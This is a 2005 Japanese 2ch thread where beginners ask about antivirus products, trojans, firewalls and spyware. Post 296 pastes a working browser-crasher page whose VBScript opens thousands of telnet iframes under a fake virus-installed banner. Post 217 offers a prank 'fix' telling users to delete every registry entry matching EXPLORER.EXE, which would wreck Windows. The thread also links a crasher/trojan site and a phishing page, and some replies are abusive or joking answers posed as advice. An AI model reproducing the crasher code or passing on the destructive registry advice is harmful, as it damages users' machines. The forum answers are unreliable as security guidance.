>>173 警察と弁護士に聞いたらサーバー管理者はその法律で罰せられるけど、
海外のサーバーだから日本の法律が適用出来ないってよ。
それに、リンクを貼る行為はただの愉快犯だから、迷惑防止条例違反だってよ。
>>173 警察に聞いたら、人命に係わる事でさえも捜査しないのに、そんなリンク如きに税金を無駄遣い出来るかってさ。
俺が上司に怒られるからそんなの立憲しないってさ。
>>176 民事は勝訴するまでの費用は全部自分持ち。
自分の知識が間違ってないか確認したいのですが ルータの設定でIPspoofing(なりすまし攻撃)のブロック設定がありますが、 ブロック設定にするとボロボロ検知します。 検知するのはclassBのプライベートアドレスでDHCPで自分の所にも割り当てられているクラスです。 自分の所はケーブルテレビでプライベートIPという環境なのですが これは攻撃されいるというのではなく、プライベートIP環境ゆえの共有IPなので 繋がっちゃってるだけという解釈でよろしいのでしょうか? たまに2chに書き込んでもいないのに、規制かけられちゃうのは そいつらの誰かのために道連れ状態というというのが その結果ということでよろしいでしょうか?
180 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 16:01:34
181 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 16:12:11
今さっきトロイがあるとされるページを踏んでしまいました。 ちなみにJavaとかは全部切っていたんですけど、この状態でもマズイものなのでしょうか? あとオンラインでそういうのを調べるページとかってありますか? 回答していただければ幸いです。 …なんか初心者スレといいつつ私以外の質問者はもっと高度なことを質問していますね。
オンラインだぁ? おまえはアンチウイルスソフトでマシンを防御していないのか? もししていないなら死ね。
>>180 ありがとうございました。
と、なると逆にここで検知されいるIPはユーザーの誰かであるから
特にFWなどなしに直で繋いでるIPだったら簡単に攻撃できちゃう可能性がある訳か…
おそろしや。
185 :
171 :2005/11/18(金) 16:37:10
だれかおしえて〜
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>185 | | | \_____
(__)___)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
この辺りかな?
どっちにしても、Winのセキュセンなんて無効でいいです。
で、他のPFWを使ってください。
187 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 17:28:04
恐れ入ります。質問させていただきます。 ノートンなどのアンチウイルスソフトは最新版の方がッウィルスの検出能力が高いのでしょうか。例えば2003年版のウイルス定義ファイルについて【更新サービスの延長】を購入して対応するよりも、2006年版を購入する方が良いのでしょうか。 ノートンアンチウィルスの2000年版を持っているのですが、OSのクリーンインストールをすればまた使えるようになります。最新のウィルス定義も導入する事が出来ます。 これは旧型のF1マシンに最新のエンジンを積んだようなもので、勝負にならないと考えておいた方が良いのでしょうか。 それとも、替刃式のノコギリのようなもので、刃を新しくしたら、少々柄が古くてもちゃんと使えるのと同じで、問題ないと考えればよろしいのでしょうか。 以上、ご教示下さいますよう、お願い申し上げます。
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>187 | | | \_____
(__)___)
ケチるのは勝手ですが、どっちにしても自己責の世界です。
最新版の方がよりImprovementされてると考えるのが妥当です。
いえ、大変危険です。あきらめてください、もう手遅れです。
191 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 22:31:09
192 :
名無しさん@お腹いっぱい。 :2005/11/18(金) 23:02:01
すみません、質問があります。 TORj_DROPPER.BAを手動で削除するにはどうしたらいいのでしょうか? 自分なりに調べてはみたのですが結局分かりませんでした。
>>192 × TORj_DROPPER.BA
○ TROJ_DROPPER.BA
ググるとすぐ出るから頑張れ
>>193 ありがとうございます。もう一度頑張ってみます
195 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 08:06:08
フレッツ12Mなんですが、見知らぬ接続が作成されてました。 「全ての接続の表示」を見ると、ダイヤルアップのとこじゃなくて広帯域のとこに作成されてます。 Q2、国際電話も止めていて、電話線もPCに繋いでないんですが、 この見知らぬ接続先に繋いでしまうと、どういうデメリットが予想されますか?
196 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 08:24:00
ノートン反応してるのどのレス?
197 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 08:32:23
win2k だけどOS落ちたときのダンプが 見てもさっぱり意味わからんちん。 どこかに解説サイトないすかね?
>>197 おまえが見たって参考になるものなどない
200 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 10:57:09
質問するやつも初心者なら答えるやつも初心者
201 :
名無しさん@お腹いっぱい :2005/11/19(土) 11:06:41
だから他のスレに初心者が行ってしまうわけね
202 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 12:47:47
自己解決したし
Win2000でインターネット接続の共有を使う場合、 どのポートを開ければいいですか?
Air Portを開ける
( ^3^)≡○#) 3・)∴.;
やっぱり初心者は他スレで質問した方がよさそうだね
うん。 ここは「初心者質問スレ」じゃなくて「セキュリティ初心者質問スレ」だから 他所いったほうがいいね。
ちょい初心者の質問を聞いてくれ Unix.PenguinってヤツにかかってるらしくVIPの全スレDLができないんだ。 ちょっと助けてくれorzアドバイス頼む
210 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 19:23:34
ウィルス対策 スパイウェア対策 ファイアウォール セキュリティ重視の基本設定 デフォルトのAdminアカウントにパスワード設定 不要アカウントの停止/削除 これ以外にやっておいた方が良いPCのセキュリティって何?
211 :
210 :2005/11/19(土) 19:29:44
各種アップデートも上記に追加ってことでそれ以外でおね
>>210 ・未確認URLを鑑定スレで鑑定。
・起動ディスク及びバックアップの作成。
215 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 20:55:07
ユーザー登録しなくても使えるウィルスソフトはどれですか? ユーザー登録が面倒なので・・・
216 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 20:58:13
ここに来るとavast!のウィルス警告が出るんだけど・・? 俺だけかよ?
217 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 21:12:00
>>210 以下が最強
パソコンのトラブル解消法(ME/XPは復元OFFに)
セーフモードで起動
↓
スタート
↓
ファイルを指名して実行
↓
regeditと入力
↓
OK
↓
レジストリエディタが開く
↓
編集→検索
↓
EXPLORER.EXEを検索
↓
検索して見つかった物を全部削除
↓
再起動
↓
ウマー
220 :
名無しさん@お腹いっぱい。 :2005/11/19(土) 22:55:52
圧縮ファイル.lzhファイルの トレンドマイクロオンラインスキャンでWORM_ANTINNY.Iがヒットしました。 ところがこのファイル、AVG freeでスキャンしてヒットしなかったもので 一度マンガミーヤにかけてしまったのです。中にウィルス本体とおぼしき .exeファイルがありましたけど、この場合感染してるかどうかのチェックは どうすればいいんでしょうか?
ウィルスバスター2005を入れてるんですがウィルス踏んだ、もしかしたらトロイ踏んだかもしれません・・・ 検索しても発見はできないんですが、大丈夫なんでしょーか?
バスターが信用できないなら、他のベンダーのツールで調べる。 それも信用できないなら、PCを再セットアップする。
>>222 バスターでは、信用性は少ないのでしょーか?
224 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 01:46:19
ウィルス定義を制限ユーザーで自動更新できるAntiVirusソフトがあったら教えて下さい。 技術的には更新をサービスとして実行して制限ユーザーの場合は強制アップデート、 もしくはデスクトップと対話させて更新を遅らせるような作りで行けそうなので。 最近ノートPCを買って、それに付いてたNorton Internet Securityを使ってるんですが、 普段は制限ユーザーでログインしてるので更新させるのがめんどいんですよ。 1月で元から付いてたアカウントの期限が切れるのでその際に変えたいと思います。 よろしくお願いします。
>>223 おめーがバスターは信用できないと聞きにきたんだろ?
226 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 06:44:00
ウイルスやスパイウェアの主な感染経路ってなんですか? やっぱP2Pやメールかな?
PCの再セットアップとリカバリーって同じ意味?
家で実施しているセキュリティ対策は以下のものですが、足りない所や見直した方が良い所は 有りますでしょうか? 俺のMac ・ルーター ・OSX付属のファイアーウォール機能 ・OSXのセキュリティアップデート ・ClamXAV(UNIXで実績があるらしいアンチウイルス) ・MacScan(今のところβ版でフリーのスパイウェア検出ソフト) 嫁のWin機 ・ルーター ・Windowsファイアーウォール ・Windows Updtate ・ノートン アンチ ウイルス 2005 ・Spybod、Ad-Aware SE Personal ・セキュリティ24(最近へまをやらかしたNiftyのセキュリティ対策サービス) アンチウイルスやファイアーウォールはほとんど初期設定のまま使ってます。 今までMacはウイルスの話をほとんど聞かなかったのであまり深刻に考えていませんでしたが、 ソニーのスパイウェア入りCDはMacにも感染するらしいと聞いて、ちょっと不安になりました。
>>225 すいません・・・わからないんです・・・
トロイもウィルスバスターで見つけられますよね?
トロイにも様々な種類があるので、ウィルスバスターで検出されるものもあれば検出されないものもある
>>228 Macは設定さえしっかりしてれば問題なさげな気がする。
OSXは10.1しか使った事無いのでFWがいまいちわからないが、
ちょっとググって見た感じでは多分機能的には十分だろうと思う。
うちのはNetBarrierXのOSX用のβだったかな?の古いのが入ってる。
アプリごとの制御が出来ないのが難点。
WinはFW入れた方がいいかも。
あまり詳しくなさそうなので、OutPostかZoneAlarm辺りがいいかな。
それとSpywareBlasterは入れておくのをお奨め。
>>229 初心者がクリックしてしまうような物なら、大抵のモノは大丈夫だと思う。
バスターもいいAVだし、日本のユーザーが多い=日本のウイルス事情への対応が早いから。
新種だったら諦めれ。
どうしても信用できないのであれば、
検出力がちょっとだけ上回るNODとかKasperskyAVに乗り換えるといいかも。
ただこっちは日本のユーザが少ないので、日本独自のウイルスへの対応の遅れがある可能性も否めない。
ちなみにうちはKasperskyAV。
233 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 17:12:43
234 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 18:01:25
スレ違いでしたら誘導お願いします。 ファイアウォールのログを見ようと思い pfirewall.log を開こうとしたのですが 共有違反というメッセージが出て開けません。 何か設定をミスしているのでしょうか?
235 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 18:29:38
237 :
221 :2005/11/20(日) 18:56:43
>>230 ですよね・・・トロイはPCの情報が外部に漏れたりすることあるんですか?
>>231 スポナビのURLに似せて作ったトロイ入りURLだったみたいです。
PCには問題は出てないんですが・・・
定期的にアップデートしてるので、もし新種のトロイに感染してればいずれは発見できるのでは?
>>235 あなたより、低スペックのおれが、立派にマカフィー(インターネットセキュリティスウィート)
使っているというのに…
あ! スパムキラーの可能性があるということを、思い出した。その時は、再インストールしたら
直った。
239 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 19:20:16
一人暮らしで他にパソコンに触れる人がいないので WindowsXPのPASS設定をしてないんですが大丈夫ですか? Passを設定してないことでネット経由で乗っ取られることはありますか?
こんにちは。質問させてください。 Windowsファイアーウォールのnetshと、RRASのnetshってどう違うのでしょうか? 別物で役割が異なるのでしょうか? 1)WindowsファイアーウォールとRRASは別の役割をもつもので、netshが共通CLIインターフェースである。 2)netshという実体を、Windowsファイアーウォール経由orRRAS経由で操作しているだけ。
241 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 20:23:47
フラッシュメモリからWordのファイルを引き出そうとすると ノートン先生が反応して 『Norton AntiVirusがコンピュータをスキャンできませんでし た。スキャン中に致命的エラーが起きたためです。』 と表示されて読み込むことができません。対処法を教えてくだ さい。
242 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 21:38:00
>>238 やっぱり異常ですよね。
マカの再インスコはやったのですが直らず・・
243 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 22:40:42
↓ブラクラ注意 tp://yaplog.bravehost.com/kouki_aya_love2/ 最近このブラクラに何度もひっかかります。 ノートンアンチウイルスとkerio入れてるのですが まずノートンがトロイに反応します。 ここまではいいのですがコマンドプロンプトのウィンドウが大量に開いて telnetで外部に接続しようとします。それはkerioがとめてくれます。 一応alt+F4を連打してるとウィンドウが開くのはそのうち止まるのですが 毎回これをやるのは大変です。 アンチウイルスソフトではこういったものをとめることは出来ないのでしょうか? (アップデートはしています) 何か対策方法はありますか?
244 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 22:42:38
忘れてた・・ xp sp2 donutP adsl
>>243 漏れもそれひっかかった…
ノートンとなんとか4ってののスキャンでは何もひっかからなかったが不安…orz
246 :
243 :2005/11/20(日) 22:50:40
>>245 (なんだか初心者っぽい俺たちが話し合っても仕方ないけど)
書いてある通りトロイが仕込んであるみたいです
踏んだときに除去してるなら大丈夫だと思うんだけど・・・
ちなみに今日で3回目orz
いまからコマンドプロンプトのみを一括して閉じるバッチファイル作ってから
有効かどうか試してみます・・・絶対また踏むと思うので・・・
bravehost.comっていろんなバージョンあるよね。 おれはK-1スレでスポナビバージョン踏んだ。 人によってはPCいかれた人もマジでいるようだ。
248 :
名無しさん@お腹いっぱい。 :2005/11/20(日) 23:38:39
ノートンインターネットセキュリティ2006ダウンロード版をノーパソに入れたんですけど これを今使ってるデスクトップにもインストールしたいんですけどできるでしょうか? OSはノーパソがXPでデスクトップが2000です。
きのうのK1のやつ踏んだので 再インスコしたよ・・・ ウイルスバスターとかまったく反応しないから入れてても意味ないなw 2年ぶりの再インスコなのでえらいPCが軽くなったw
マジであれじゃ意味ないよな ばればれの偽装フォルダとかEXEファイルなんてバスター云々の前に見てわかるしw ああいう開いただけでアウトとか、ダウンロードしただけでアウトのやつ止めてくれなきゃマジ意味ない
hostsに 127.0.0.1yaplog.bravehost.com とでも書いとけばいいだろ。
>>252 なんかDOS画面みたいなのが複数開いて一瞬で消えた
ということは確実になんか実行されてるだろうなw
それでウイルスバスターでスキャンかけても何も見つからないんだよ
そのまま使うのはきもすぎなので、しゃーないから再インスコ
>>253 そうなんだけどそれじゃもう手動でやることになるしわざわざ製品いらなくね?w
256 :
224 :2005/11/21(月) 02:44:58
何だ。誰も知らないのか。。 やっぱないのかなぁ。
257 :
210 :2005/11/21(月) 02:47:35
>>答えてくれた番号の人 トンクス 参考にさせてもらうっす
ただ今話題になっている不良マンションについて皆さんはどう考えますか? 道路公団、自動車に始まってのこれらの一連の事件は、企業人としての責任のない行動が発端です。 構造的には100%の救済が成されなくて、何でも国民が被害者のような構図になっていますが、 実は給料を貰っている自社の不正を正せない、無責任な社員としての責任が発端になっています。 我が国の企業で純粋に社会貢献をして、これらの利益で好しとしている企業は全体の数パーセントしかないでしょう。 それ以外の企業は、社会的には結果的に背任行為で利益を水増ししている企業ばかりです。 そして、こうした手法で企業利益を上げられる人材が経営者の立場からすると、優秀な部下と思われているふしがあります。 おわかりいただけたでしょうか? これらの不正の温床を失くさないと、この国は司法的な立場から考察すると機能していない事になります。 あなた達は上司から「どう責任を取るつもりしているんだ?」と怒られたことがあるでしょう。 しかし、この上司達は社会的に背任行為の片棒を担いでいるにも拘らず、 問題が発覚しても末端の社員達と同じで会社を辞めるだけでしか責任を取れません。 司法は国民への救済措置として、こんな人間から私財まで取り上げる必要があります。
>>258 末端の一般社員が自社の不正を正していかないと、この国の不正はなくならないぞ。
結果的に泣くのはそうして給料を貰っているおまえら自身だ。
構図的には被害者になっても、実際には間接的に不正の片棒を担いでいるんだ。
少年犯罪板でウィルス踏んだんだが… >IEのメニューで「ツール」「インターネットオプション」 >「全般」画面で「ファイルの削除」「すべてのオフラインコンテンツを削除する」にチェック これ削除できると書いてるヤシがいたんだが、こんなんでトロイが消えるの?
>>260 あんたがDownloadJectの脆弱性をWindowsUpdateできっかりと埋めているのなら、
トロイをインストールされないから問題ないが、
脆弱性があってなおかつ、セキュリティソフトがスクリプトの実行を阻止してくれなかったのなら、
何かをインストールされているはずなので一時ファイルを削除しても問題解決にはならない。
>>260 OSにそれを利用される脆弱性がなければウィルスとして扱う必要のないファイル。
よって、セキュリティソフトが検出してもウィルスとしての活動をしないから、削除すれば済むと言う安易な考え。
263 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 12:23:41
SurfSideKickを削除しようとして、変更と削除をクリックしたら Reboot is neccessary to complete operetion. wouldyou like to reboot now? …と出たのですが、「はい」と「いいえ」のどちらをクリックすればアンインストールできますか? なんかスペルとか微妙だったのでちょっと恐いです。
>>263 そんな英語もわからんのならどうでもいい。勝手にしろ。
アンインストーラーにウソを付かれるかどうかは、また別の次元での話。
window XPのものです 一つ聞きたいのですが、ネットに接続してからヤフーのTOP画面が最後まで表示されるのに 2分近くかかります これはやはりウィルスに侵されてるからでしょうか?
セキュリティソフト買おうと迷ってるのですがこれ買っとけってのありますか? 出来るだけ普段軽いソフト希望です
>>265 違います。SSDP Discovery ServiceがLAN上のアダプタをスキャンしているからです。
ネットワーク確立するまでの時間が嫌な人は、無効にする。
>>267 265の説明でそこまで言えるか?
もしかして自(ry
>>268 言えますよ。ヤフーであるからルーター使用ですね。
>>266 無料でもとりあえず十分なのを。
SpybotとAdAwareでスパイウェア対策、SpywareBlasterでActivX関係の対策をしてみるといいかも。
こっから有料。
軽快さ重視でアンチウイルスが導入まだならNODが良いな。
ファイアーウォールならOutPostの有料版つかっとけ。
>>269 ヤフー使ってるってるというけど
ケーブルの俺でもTOPはヤフーにしてるけど?
どっからヤフーのルータといえるのかな?
自演ですか?
惨め極まりないですよ
>>272 わかったわかった。
で、どこからわかるの?w
エスパーが居るスレはここですか?
自演乙
>>263 「はい」でおk
セキュリティソフトとスパイウェア対策ソフトはちゃんと入れようね
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>266 | | | \_____
(__)___)
Anti Virus:マカフィー
Anti Spyware:Ewido Security Suite
FireWall:Outpost Pro
できれば、スペック強化した方が手堅いと思う。
280 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 14:31:58
ウイルス対策ソフトでスキャンしていたらトロイの木馬が見つかったのですが どうやらzipファイルの中にトロイの木馬が入っているみたいです。 zipファイルを開かなければ、トロイの木馬は発動しないのでしょうか? 対策ソフト:avast! マルウェアの名前:Win32:IstBar-AJ [Trj] C:\Documents and Settings\AAA\○○○.zip\setup.exe WindowsXP使っています。 またavast!で処理しようと思っていも、 この種類のデータはサポートされていません。とでます。
>>280 削除いてavastにサポートしやがれゴラァ!!とめーるする
これで解決
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>280 | | | \_____
(__)___)
えっとね、一般的にはアドウエアないしはスパイウエアとされる物だけど、
Downloaderの性質があるのでTrojとなってるのだと思います。
メモリー上にコードが展開されてなければ感染とは言いませんので、
手動で削除しちゃって下さい。
284 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 15:56:13
ダウンロード販売で、ノートン・システムワークス・2006を購入しました。 普通にインストールした後、修正でアンチウィルスを削除しました。 その後アンチウィルスを修正で入れようとしたら、CDを挿入してくださいになって修正できません。 ダウンロード販売だからCDないし・・・ サポートは土日だったから、今日になって電話したけど混んでて繋がらないです 誰かわかる人教えてください。
頑張って電話するんだ。
288 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 17:08:55
290 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 18:21:29
_ ___ / ̄ ̄ ̄ ̄\,, /−、 −、 \ /_____ ヽ / | ・|・ | 、 \ | ─ 、 ─ 、 ヽ | | / / `-●−′ \ ヽ | ・|・ |─ |___/ |/ ── | ── ヽ | |` - c`─ ′ 6 l |. ── | ── | | . ヽ (____ ,-′ | ── | ── | l ヽ ___ /ヽ ヽ (__|____ / / / |/\/ l ^ヽ \ / / | | | | l━━(t)━━━━┥ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 旦~~ 旦~~
↑スペースとり杉
293 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 20:13:49
>>292 直リンしたらやばくね?
知らない奴ひらくぞ絶対w
294 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 20:28:14
考えなしにリンクを踏んじゃいけないよ、ということを身にしみて学ぶことになる
295 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 20:38:47
ノ∩
⊂ ヽ
>>294 ,ヘ 。A。 ノっ
U∨ ̄∨
・@;∴‥ドガッ
∧_∧ ∩ :: :.
( ・∀・)/ :: ::
(つ / :: :'
人⌒l ノ :: ::
し(_)
296 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 20:48:54
<html> <body> <H1> Virus installation complite! </H1> <script type="text/vbscript"> for a=1 to 800 document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">") next </script> <script type="text/vbscript"> for a=1 to 800 document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">") next </script> <script type="text/vbscript"> for a=1 to 800 document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">") next </script> </body> </html>
297 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 21:02:47
超初心者です。おバカな質問かもしれませんがよろしくお願いします。 今度一人暮らしを始めるのですが、引越し準備中にたまたまパソコン(Macのibook)の電源を入れたらネットにつながりました。 自分はまだ契約もなにもしていないので、たまたま隣とかの部屋の人のワイアレス電波を拾ったんだと思います。 その場ですぐに電源は消して、まだ住み始めてないのでそれ以来は全く使ってませんが、もしそのまま使ったらそれは違法行為ですか? もちろん引越しと同時にプロバイダー契約しますが、参考のために教えて下さい。
>>297 基本的に番地外だが、違法。
タイーホされっぞ
300 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 21:18:08
>>299 >>1 http://www.lakoff.com/login/yahoo/ ■ ↑これについて、、
http://www.securebrain.co.jp/news/051110phishing_case.html Yahoo!オークションのフィッシングメールとフィッシングサイトが出現
Yahoo! Japan IDとパスワードが要求されます。ご注意ください。
--------------------------------------------------------------------------------
日本語のYahoo!オークションのフィッシングメールとフィッシングサイトが出現しましたのでご注意ください。
フィッシングメールでは「オークションの評価通知」を装ったものが報告されております。
フィッシングサイトはYahoo!オークションのログインページを偽装していますが、URLが従来のものとは異なります。
このフィッシングサイトは現在(11月10日13時40分)は既に閉鎖されております。
しかしながら、同様のサイトが別のサーバに設置される恐れもあります。引き続き注意が必要です。
閉鎖されてねぇじゃねぇーかよw
やふ〜。
300Get!!
このスレで質問する人がみんなテンプレ読んでると思ってるのか?
シャットダウン中に「daemon spyを終了中です」と出てきたんですけど、 これってスパイ ウェアなんでしょうか・・・?spybotで検索してもそんなの ひっかからないんですが、誰か 分かる人いますか?
と書きはしたけど、全くレス貰ってないようなので。 まずはどんなプロセスが動いてるのかタスクマネージャのSSでも晒してみると、 わかる人がレスくれるかも。 あくまでかもしれないだが。
305 :
名無しさん@お腹いっぱい。 :2005/11/21(月) 22:11:28
297です。 ありがとうございます。プロバイダー契約が済むまでもう二度と電源はいれません。 番地外との事ですが何板で聞けばいいのでしょうか?本当に初心者ですみません。
素朴な質問(´・ω・`) 会社のパソにSymantec AntiVirusが入ってるんだけど、どこにも期限が書いてない。 Nortonと違って無制限なの?。それともライセンス次第? 既出だったらスマソ
2chのスレ内で不用意に怪しいURLを踏んでしまい, Norton AntiVirusのAuto-Protectで,ウイルス警告が 2つ出たのですが,ひとつは「修復できませんでした」もうひとつは 「アクセスが拒否されました」という警告でした ウイルス名はTrojan Horseとなっていました ここで質問なのですが, アクセスが拒否されたということはウイルスには かかっていないということなのでしょうか? 初歩的な質問ですみません。よろしくお願いします
>>307 削除。ウィルス本体は修復できないので削除。手動で削除。
windows updateはきちんとして。
309 :
306 :2005/11/21(月) 23:16:16 BE:323676195-##
肝心な事が抜けてました。 LiveUpdateの期限の事です。
>>308 ノートンで削除されたということですか?
updateは最新です
311 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 00:16:36
>>308 レスありがとうございます
わかりました。やってみます
sage忘れすいません
313 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 05:45:55
ネットポリスに通報したいのですが通報先誘導してもらえませんか? ちなみに携帯の通報先でお願い致します。 スレ違いでしたらどのスレか教えて下さい
315 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 12:14:46
困ってます。 なぜかいくつかのサイトにアクセスできなくなりました。 インターネット環境は OS:Win2000 ブラウザ:IE6.0 sp1 プロバイダー:OCN ACCA ADSL セキュリティソフト:Norton Antivirus 2003 v9.0 です。 たとえば、価格.comなんか以前は問題なくアクセスできていたのですが 急にアクセスできなくなりました。 Firewallは使ってないです。きのうウィルスソフトを切って 試してみたのですがだめでした。 誰か対処方法を教えてください。
>>315 >Firewallは使ってないです
トロイに感染してバックドアを開けられたら終わりなのに、怖くないんだね。
>>316 無駄に嫌みったらしいね。
嫌われるタイプ。
>>315 何をしたタイミングでできなくなったかまず言わないと
ずっと見てなかったHPで久々に見たら見れなくなってたとか
見れていたタイミングじゃあVirus対策ソフトを入れていたかどうかわからないとか
>トロイに感染
このへんにそこはかとなく
>>316 の知性を感じる
人格どうこう以前に。
>>315 『アンチウィルスソフトのファイヤウォール機能はちゃんと解除してあります』
とか言う人に限ってけっこう解除できてなかったりするケースがあるけど、
本当に大丈夫?どこをどうしたか言ってみたほうがいいかも。
そうすればNAV2003持ってる人から明確なレスもらえるし。
自分は持ってないから不確かな事言えない。
321 :
315です。 :2005/11/22(火) 13:20:08
いろいろレスありがとうございます。
>>318 アクセスできなくなった間にあったことというと
定期的なWindowsとウィルス定義ファイルのアップデートくらいです。
ウィルスソフトなどは以前と変わってないですね。
>>319 そうですね。NAVを切って試した時は、設定でauto-protectとスクリプト遮断を
解除するくらいでした。
その他はどうすればよくわからなったですね。
290のバカの哀れな抵抗は無駄
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>315 | | | \_____
(__)___)
DNSのキャッシュをクリアしてみたら。
324 :
315です。 :2005/11/22(火) 14:05:31
>>323 すみませんが
DNSのキャッシュをクリアするには
どうすればいいのでしょうか。
詳しく教えてもらえませんか。
あと、
>>321 にも書きましたが
職場で使っているパソコンも同じNAV2003を同じ設定で使ってますが
こちらからは問題なくアクセスできますね。
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>324 | | | \_____
(__)___)
コマンドプロンプトから ipconfig /flushdnsと入力。
326 :
315です。 :2005/11/22(火) 15:20:46
>>325 どうもありがとうございます。
今はできませんが帰宅したら
やってみます。
>>319 NAV2003にファイヤーウォール機能はない。アンチウィルスのみ。
( ^3^)≡○#) 3・)∴.;
329 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 15:52:01
NAV2003が期限切れしたのですが NAV2004を新しく上書きしてインストールすることができますか?
330 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 15:52:44
質問すみません。 MSNのhotmailを利用しているのですが、「MAILER-DAEMON〜」というアドレスから、「この送り先は存在しません」といった感じの内容のメールが送られてきました。 その「送り先」というものに心当たりが全くないので不安です。 お願いします。
>>330 MAILER-DAEMONはバカだから、スパムメールなどの送信元が偽装されていても、
その差出人宛てにエラーメールを送信してしまう。
嫌ならスパムメール扱いで自分で届かないように何らかの対応をする事。
332 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 16:02:06
>>331 自分がウィルスに感染してるわけでもなく、無視してれば問題ないということでしょうか?
ありがとう御座います。
( ^3^)≡○#) 3・)∴.;
http://www3.ca.com/securityadvisor/pestscan/ 上記のサイトでスパイウェアスキャンをしたらBonziBuddyが検出されました。
このサイトはスキャンのみで、削除はソフトを買わないといけない。
なので、SpybotとAd-awareを導入しているので、それらでスキャンをして削除しようとしました。
ですが、SpybotでもAd-awareでもスキャンをしてもBonziBuddyは検出されませんでした。。
改めて上記のサイトでスキャンをしてもやっぱりBonziBuddyが検出されます。
BonziBuddyを削除するにはどうしたらいいんでしょうか
因みにOSは、XP。ブラウザは、IEです。
335 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 16:53:33
337 :
◆ZiLucbdNag :2005/11/22(火) 17:38:59
とりあえず、セキュリティを安く抑えたいのですが お勧めの安ソフトはありませんでしょうか?
Ctrl+F「フリー」
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>335 キャッシュクリア
| | | \_____
(__)___)
340 :
334 :2005/11/22(火) 17:56:43
>>336 レスありがとうございます。
書き忘れてたんですが、そのサイトでもスキャンして削除したんです。
ですが相変わらず、
http://www3.ca.com/securityadvisor/pestscan/ ↑で、BonziBuddyは検出されるんです。。。
336氏に貼ってもらったサイトで、スキャンしてBonziBuddyを削除するとき、
「他に影響がでるのでバックアップ?しますか」、みたいな文章がでたんです。
よくわからないのでYesにして削除をしました。これがいけなかったのかな・・・
>>336 のサイトのとおり手動での削除をしようとやってみたんですが、
Bonzi BuddyプログラムをインストールしてないのでBonzi Buddyプログラムというものが見つからない・・・
341 :
名無しさん@お腹いっぱい。 :2005/11/22(火) 18:21:22
Win Fixer 2005 てウィルスではないですよね? spybotやAVGで削除できるのでしょうか?
>>335 不要なソフト&レジストリを削除して、ノートンでスキャン、出てきたのを駆除。
346 :
名無しさん@お腹いっぱい。 :2005/11/23(水) 01:50:04
windows板から誘導されて来ました。
spybotとAd-awareとNortonとavastでウイルス・スパイウェアを駆除したのに、時間が経ったら
スパイウェアやウイルスがまた検出される事があります。
更に、デスクトッププロパティの壁紙をいじるところで、
http://www.uploda.org/file/uporg243450.jpg ←この画像のように、
通常押せるはずのボタン等が押せなかったり、Internet explorer壁紙しか使えません。
更に、画面プロパティの、
「アクティブデスクトップにウェブコンテンツを表示」にチェックを入れると、
画面に「DANGER:SPYWARE」と表示されます。
更に、インターネットをしていると突然再起動してしまいます。
これらの症状を治めるにはどうすれば良いのですか?
>>347 わかりました。
スキャンしましたが、どれをfixすればいいんでしょう?
Logfile of HijackThis v1.99.1
Scan saved at 2:06:46, on 2005/11/23
Platform: Windows 2000 SP4 (WinNT 5.00.2195)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)
Running processes:
C:\WINNT\System32\smss.exe
C:\WINNT\system32\winlogon.exe
C:\WINNT\system32\services.exe
C:\WINNT\system32\lsass.exe
C:\WINNT\system32\svchost.exe
C:\WINNT\System32\svchost.exe
C:\Program Files\Common Files\Symantec Shared\ccSetMgr.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\WINNT\system32\spoolsv.exe
C:\Documents and Settings\tosiki.CHIJI\デスクトップ\あー\Avast!\aswUpdSv.exe
